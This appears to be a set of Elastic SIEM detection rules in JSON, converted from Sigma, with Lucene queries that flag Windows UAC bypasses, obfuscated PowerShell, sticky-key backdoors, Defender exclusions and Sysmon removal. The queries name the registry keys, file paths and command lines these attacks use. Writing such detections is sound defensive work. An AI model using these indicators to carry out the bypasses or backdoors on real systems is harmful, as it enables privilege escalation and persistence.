{"description":"Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"801d396a-6c8a-2bf4-27c9-5a4ee9077ac3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using Consent and Comctl32 - File","query":"(file.path:C\\:\\\\Windows\\\\System32\\\\consent.exe.@* AND file.path:*\\\\comctl32.dll)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ba1d9198-3ebb-69bc-29ed-2f26ccf0dc3a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using Consent and Comctl32 - Process","query":"(process.parent.executable:*\\\\consent.exe AND process.executable:*\\\\werfault.exe AND IntegrityLevel:(\"High\" OR \"System\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"268f0a68-553b-6937-b824-5857fd070968","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using DismHost","query":"(process.parent.executable:*C\\:\\\\Users\\\\* AND process.parent.executable:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.parent.executable:*\\\\DismHost.exe* AND IntegrityLevel:(\"High\" OR \"System\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9f7d4d86-db92-2c8e-df71-2eced9392c03","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using IEInstal - File","query":"(process.executable:\"C\\:\\\\Program\\ Files\\\\Internet\\ Explorer\\\\IEInstal.exe\" AND file.path:C\\:\\\\Users\\\\* AND file.path:*\\\\AppData\\\\Local\\\\Temp\\\\* AND file.path:*consent.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"42bdd72f-8604-fc90-42ad-dff1a8acfd24","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using IEInstal - Process","query":"(IntegrityLevel:(\"High\" OR \"System\") AND process.parent.executable:*\\\\ieinstal.exe AND process.executable:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.executable:*consent.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b43048ac-deb2-db64-aee8-f1f9b10ea4f8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using NTFS Reparse Point - File","query":"(file.path:C\\:\\\\Users\\\\* AND file.path:*\\\\AppData\\\\Local\\\\Temp\\\\api\\-ms\\-win\\-core\\-kernel32\\-legacy\\-l1.DLL)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"be89d844-a59b-88b4-c1f4-11920e5f18e2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using NTFS Reparse Point - Process","query":"(IntegrityLevel:(\"High\" OR \"System\") AND ((process.command_line:\\\"C\\:\\\\Windows\\\\system32\\\\wusa.exe\\\"\\ \\ \\/quiet\\ C\\:\\\\Users\\\\* AND process.command_line:*\\\\AppData\\\\Local\\\\Temp\\\\update.msu) OR (process.parent.command_line:\"\\\"C\\:\\\\Windows\\\\system32\\\\dism.exe\\\"\\ \\/online\\ \\/quiet\\ \\/norestart\\ \\/add\\-package\\ \\/packagepath\\:\\\"C\\:\\\\Windows\\\\system32\\\\pe386\\\"\\ \\/ignorecheck\" AND process.command_line:*C\\:\\\\Users\\\\* AND process.command_line:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.command_line:*\\\\dismhost.exe\\ \\{* AND process.executable:*\\\\DismHost.exe)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8b63a8f8-2a92-5b27-a31f-b0284b82adcb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using PkgMgr and DISM","query":"(process.parent.executable:*\\\\pkgmgr.exe AND process.executable:*\\\\dism.exe AND IntegrityLevel:(\"High\" OR \"System\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53) Author: Omer Yampel, Christian Burkard. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"45bcc19f-e224-f5d4-c4c7-fce2efc12795","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass via Sdclt","query":"(winlog.event_data.TargetObject:*Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand OR (winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\\\\SymbolicLinkValue AND winlog.event_data.Details:*\\-1???\\\\Software\\\\Classes\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b43d3aab-808a-2eab-6b77-98d02cc9fa9e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using Disk Cleanup","query":"(process.command_line:*\\\"\\\\system32\\\\cleanmgr.exe\\ \\/autoclean\\ \\/d\\ C\\: AND process.parent.command_line:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ Schedule\" AND IntegrityLevel:(\"High\" OR \"System\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5537e985-481c-6dec-8e66-c140ab03ac9b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using Windows Media Player - File","query":"((file.path:C\\:\\\\Users\\\\* AND file.path:*\\\\AppData\\\\Local\\\\Temp\\\\OskSupport.dll) OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\DllHost.exe\" AND file.path:\"C\\:\\\\Program\\ Files\\\\Windows\\ Media\\ Player\\\\osk.exe\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4e8dd971-e999-618e-0134-64f5830b16ce","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using Windows Media Player - Registry","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility\\ Assistant\\\\Store\\\\C\\:\\\\Program\\ Files\\\\Windows\\ Media\\ Player\\\\osk.exe AND winlog.event_data.Details:\"Binary\\ Data\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a1b76e6b-842d-d767-3d83-367a91139aee","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using Windows Media Player - Process","query":"(IntegrityLevel:(\"High\" OR \"System\") AND (process.executable:\"C\\:\\\\Program\\ Files\\\\Windows\\ Media\\ Player\\\\osk.exe\" OR (process.executable:\"C\\:\\\\Windows\\\\System32\\\\cmd.exe\" AND process.parent.command_line:\"\\\"C\\:\\\\Windows\\\\system32\\\\mmc.exe\\\"\\ \\\"C\\:\\\\Windows\\\\system32\\\\eventvwr.msc\\\"\\ \\/s\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8978b5fe-0dab-4af0-e654-46424011dabf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass WSReset","query":"(process.executable:*\\\\wsreset.exe AND IntegrityLevel:(\"High\" OR \"System\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the PowerShell command lines with reversed strings Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"00a5c20e-8c37-be03-a646-4fb32dbd11e2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PowerShell Cmdline","query":"((process.executable:*\\\\powershell.exe AND process.command_line:(*hctac* OR *kearb* OR *dnammoc* OR *ekovn* OR *eliFd* OR *rahc* OR *etirw* OR *golon* OR *tninon* OR *eddih* OR *tpircS* OR *ssecorp* OR *llehsrewop* OR *esnopser* OR *daolnwod* OR *tneilCbeW* OR *tneilc* OR *ptth* OR *elifotevas* OR *46esab* OR *htaPpmeTteG* OR *tcejbO* OR *maerts* OR *hcaerof* OR *ekovni* OR *retupmoc*)) AND (NOT ((process.command_line:*\\-EncodedCommand*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the PowerShell command lines with special characters Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp). License: ","enabled":false,"false_positives":["Unlikely","Amazon SSM Document Worker"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d7bcd677-645d-4691-a8d4-7a5602b780d1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PowerShell Command Line","query":"((process.executable:*\\\\powershell.exe AND (process.command_line:/.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*\\+.*/ OR process.command_line:/.*\\{.*\\{.*\\{.*\\{.*\\{.*\\{.*\\{.*\\{.*\\{.*\\{.*/ OR process.command_line:/.*{.*{.*{.*{.*{.*/ OR process.command_line:/.*\\^.*\\^.*\\^.*\\^.*\\^.*/ OR process.command_line:/.*`.*`.*`.*`.*`.*/)) AND (NOT (process.parent.executable:\"C\\:\\\\Program\\ Files\\\\Amazon\\\\SSM\\\\ssm\\-document\\-worker.exe\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the process injection of a LittleCorporal generated Maldoc. Author: Christian Burkard. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fea59c22-a186-ebb8-ebb0-e4ec612548a5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LittleCorporal Generated Maldoc Injection","query":"(process.executable:*winword.exe AND winlog.event_data.CallTrace:*\\:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v2.* AND winlog.event_data.CallTrace:*UNKNOWN*)","meta":{"from":"1m"},"severity":"high","tags":["T1055","T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the redirection of an output stream of / within a Windows command line session Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5bc2c402-eabf-a072-d46c-5c89297cb855","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Cmd Stream Redirection","query":"(process.executable:*\\\\cmd.exe AND process.command_line:*>*\\:*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor). Author: Florian Roth, oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Penetration Tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ae215552-081e-44c7-805f-be16f975c8a2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Debugger Registration Cmdline","query":"(process.command_line:*\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\* AND process.command_line:(*sethc.exe* OR *utilman.exe* OR *osk.exe* OR *magnify.exe* OR *narrator.exe* OR *displayswitch.exe* OR *atbroker.exe*))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the Setting of Windows Defender Exclusions Author: Christian Burkard. License: ","enabled":false,"false_positives":["Administrator actions"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0d79ef5d-c700-1782-344b-f6feab9e130a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Defender Exclusions Added","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ Defender\\\\Exclusions*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"736f4606-6cd7-6ab0-709b-1775484004a3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Shell Open Registry Keys Manipulation","query":"(((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Classes\\\\ms\\-settings\\\\shell\\\\open\\\\command\\\\SymbolicLinkValue AND winlog.event_data.Details:*\\\\Software\\\\Classes\\\\\\{*) OR winlog.event_data.TargetObject:*Classes\\\\ms\\-settings\\\\shell\\\\open\\\\command\\\\DelegateExecute) OR ((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*Classes\\\\ms\\-settings\\\\shell\\\\open\\\\command\\\\\$Default\$ OR *Classes\\\\exefile\\\\shell\\\\open\\\\command\\\\\$Default\$)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\"))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1546","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""},{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet Author: Florian Roth. License: ","enabled":false,"false_positives":["Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8cac7a53-05c2-8fb5-73f8-8996bb1eb5bd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Minimized MSEdge Start","query":"process.command_line:*start\\ \\/min\\ msedge*","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories Author: Florian Roth. License: ","enabled":false,"false_positives":["Software installers downloaded and used by users"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"22ff4486-d7e7-95d6-f2a9-0bb5863ac790","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Run Key from Download","query":"(process.executable:(*\\\\Downloads\\\\* OR *\\\\Temporary\\ Internet\\ Files\\\\Content.Outlook\\\\* OR *\\\\Local\\ Settings\\\\Temporary\\ Internet\\ Files\\\\*) AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7ec91e45-63bd-6cf2-3804-0971949f8150","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Uninstall Sysinternals Sysmon","query":"(process.executable:(*\\\\Sysmon64.exe OR *\\\\Sysmon.exe) AND process.command_line:*\\-u*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen Author: Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2fdefcb3-dbda-401e-ae23-f0db027628bc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Sticky Key Like Backdoor Usage","query":"(process.parent.executable:*\\\\winlogon.exe AND process.executable:*\\\\cmd.exe AND process.command_line:(*sethc.exe* OR *utilman.exe* OR *osk.exe* OR *Magnify.exe* OR *Narrator.exe* OR *DisplaySwitch.exe*))","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
